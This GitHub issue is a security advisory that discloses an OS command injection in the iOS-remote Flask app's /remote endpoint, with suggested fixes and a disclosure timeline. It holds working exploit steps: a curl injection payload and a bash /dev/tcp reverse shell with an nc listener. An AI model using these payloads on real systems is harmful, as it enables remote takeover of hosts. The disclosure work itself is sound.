Skip to content

Security: OS Command Injection in iOS-remote (CWE-78) #3

@jashidsany

Description

@jashidsany

Security Advisory: OS Command Injection in iOS-remote

Summary

iOS-remote is vulnerable to OS command injection (CWE-78: Improper Neutralization of Special Elements used in an OS Command). The /remote endpoint passes user-controlled input directly into a shell command via subprocess.Popen() with shell=True, allowing an unauthenticated attacker to execute arbitrary commands on the host system.

Affected Software

  • Application: iOS-remote
  • Version: All versions (vulnerability exists since initial commit)
  • Platform: Linux, macOS, Windows (any platform running the Flask server)
  • Repository: https://github.com/DimCyan/iOS-remote

Vulnerability Details

  • Type: OS Command Injection
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • CVSS v3.1 Score: 9.8 (Critical)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None

Description

The /remote endpoint in app.py accepts a JSON payload via POST request and extracts the text field. This value is inserted directly into a shell command string using Python's str.format() method, then executed with subprocess.Popen() using shell=True. No input validation or sanitization is performed on the user-supplied value.

Vulnerable code (app.py):

# Line 135 - command template
cmds = {'remote': 'tidevice relay {0} 9100'}

# Lines 37-43 - vulnerable endpoint
@app.route('/remote', methods=['POST'])
def remote():
    data = json.loads(request.form.get('data'))
    content = data['text']
    logger.info('remote to: {}'.format(content))
    subprocess.Popen(cmds['remote'].format(content), shell=True, stdout=subprocess.PIPE).communicate()
    return "remote screen"

The intended use is for the user to supply a port number (e.g., 8200), which produces the command tidevice relay 8200 9100. However, an attacker can inject shell metacharacters (;, &&, ||, $(), backticks) to execute arbitrary commands.

CORS Misconfiguration Amplifies Impact

The application also configures CORS with a wildcard origin (line 12):

CORS(app, support_crenditals=True, resources={r"/*": {"origins": "*"}}, send_wildcard=True)

This means any website can make cross-origin requests to the server, making the command injection exploitable via CSRF from any webpage the victim visits while the server is running.

Debug Mode Enabled

The application runs with debug=True (line 140), which exposes the Werkzeug interactive debugger. This is a separate, well-known remote code execution vector.

Steps to Reproduce

Prerequisites

  • Python 3 with Flask, flask-cors, and logzero installed
  • The iOS-remote repository cloned locally

Reproduce the Vulnerability

Step 1: Clone the repository and install dependencies.

git clone https://github.com/DimCyan/iOS-remote.git
cd iOS-remote
pip3 install flask flask-cors logzero

Step 2: Comment out the iOS device dependencies (not needed to demonstrate the vulnerability).

sed -i 's/^import wda/#import wda/' app.py
sed -i 's/^import tidevice/#import tidevice/' app.py
sed -i 's/device = tidevice.Device()/#device = tidevice.Device()/' app.py
sed -i 's/client = connect_device()/#client = connect_device()/' app.py

Step 3: Start the Flask server.

python3 app.py

Step 4: In a separate terminal, send the command injection payload.

curl -X POST http://127.0.0.1:5000/remote \
  --data-urlencode 'data={"text":"8200; id > /tmp/pwned.txt #"}'

Step 5: Verify arbitrary command execution.

cat /tmp/pwned.txt

The file will contain the output of the id command, confirming arbitrary code execution on the host.

The shell interprets the constructed command as:

tidevice relay 8200; id > /tmp/pwned.txt # 9100

The semicolon separates the commands. id > /tmp/pwned.txt executes and writes the output. The # comments out the trailing 9100.

Reverse Shell (Demonstrating Full System Compromise)

Step 1: Start a listener.

nc -lvnp 443

Step 2: Create a reverse shell script.

echo '#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/443 0>&1' > rev.sh
chmod +x rev.sh

Step 3: Send the payload.

curl -X POST http://127.0.0.1:5000/remote \
  --data-urlencode 'data={"text":"8200; bash rev.sh #"}'

An interactive shell is received on the listener, confirming full remote code execution.

Impact

An attacker with network access to the Flask server can execute arbitrary OS commands with the privileges of the user running the application. This could lead to:

  1. Full system compromise - the attacker gains an interactive shell on the host
  2. Data exfiltration - sensitive files can be read and transmitted
  3. Lateral movement - the compromised host can be used to attack other systems on the network
  4. Malware installation - persistent backdoors can be deployed

Because the application configures CORS with origins: "*", any malicious website can trigger this vulnerability when visited by a user running iOS-remote, requiring no direct network access to the server.

Suggested Remediation

Option 1: Use subprocess with argument list (recommended)

@app.route('/remote', methods=['POST'])
def remote():
    data = json.loads(request.form.get('data'))
    content = data['text']
    if not content.isdigit():
        return "Invalid port number", 400
    subprocess.Popen(
        ['tidevice', 'relay', content, '9100'],
        stdout=subprocess.PIPE
    ).communicate()
    return "remote screen"

Option 2: Strict input validation

import re

@app.route('/remote', methods=['POST'])
def remote():
    data = json.loads(request.form.get('data'))
    content = data['text']
    if not re.match(r'^\d{1,5}$', content):
        return "Invalid port", 400
    if not (1 <= int(content) <= 65535):
        return "Port out of range", 400
    subprocess.Popen(cmds['remote'].format(content), shell=True, stdout=subprocess.PIPE).communicate()
    return "remote screen"

Additional recommended fixes

  • Remove debug=True from the app.run() call
  • Restrict CORS origins to trusted domains instead of "*"

Evidence

  1. Patching the app with sed to test without an iOS device:
Image
  1. The vulnerable code in app.py (lines 37-43) showing unsanitized user input passed to subprocess.Popen() with shell=True:
Image
  1. iOS-remote Flask server running with the web interface accessible in browser:
Image
  1. Creating the reverse shell script for the PoC:
Image
  1. Reverse shell obtained via poc.py, with whoami, id, and hostname confirming code execution:
Image
  1. Arbitrary file write via command injection, with cat pwned.txt showing the output of the injected id command:
Image

Timeline

  • 2026-02-28: Vulnerability discovered
  • 2026-02-28: Vendor notified via GitHub Issue
  • 2026-02-28: CVE requested from MITRE
  • TBD: Vendor response
  • TBD: Fix released
  • TBD: Public disclosure (90 days after vendor notification, 2026-05-29)

Credit

Discovered by: Jashid Sany (https://github.com/jashidsany)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions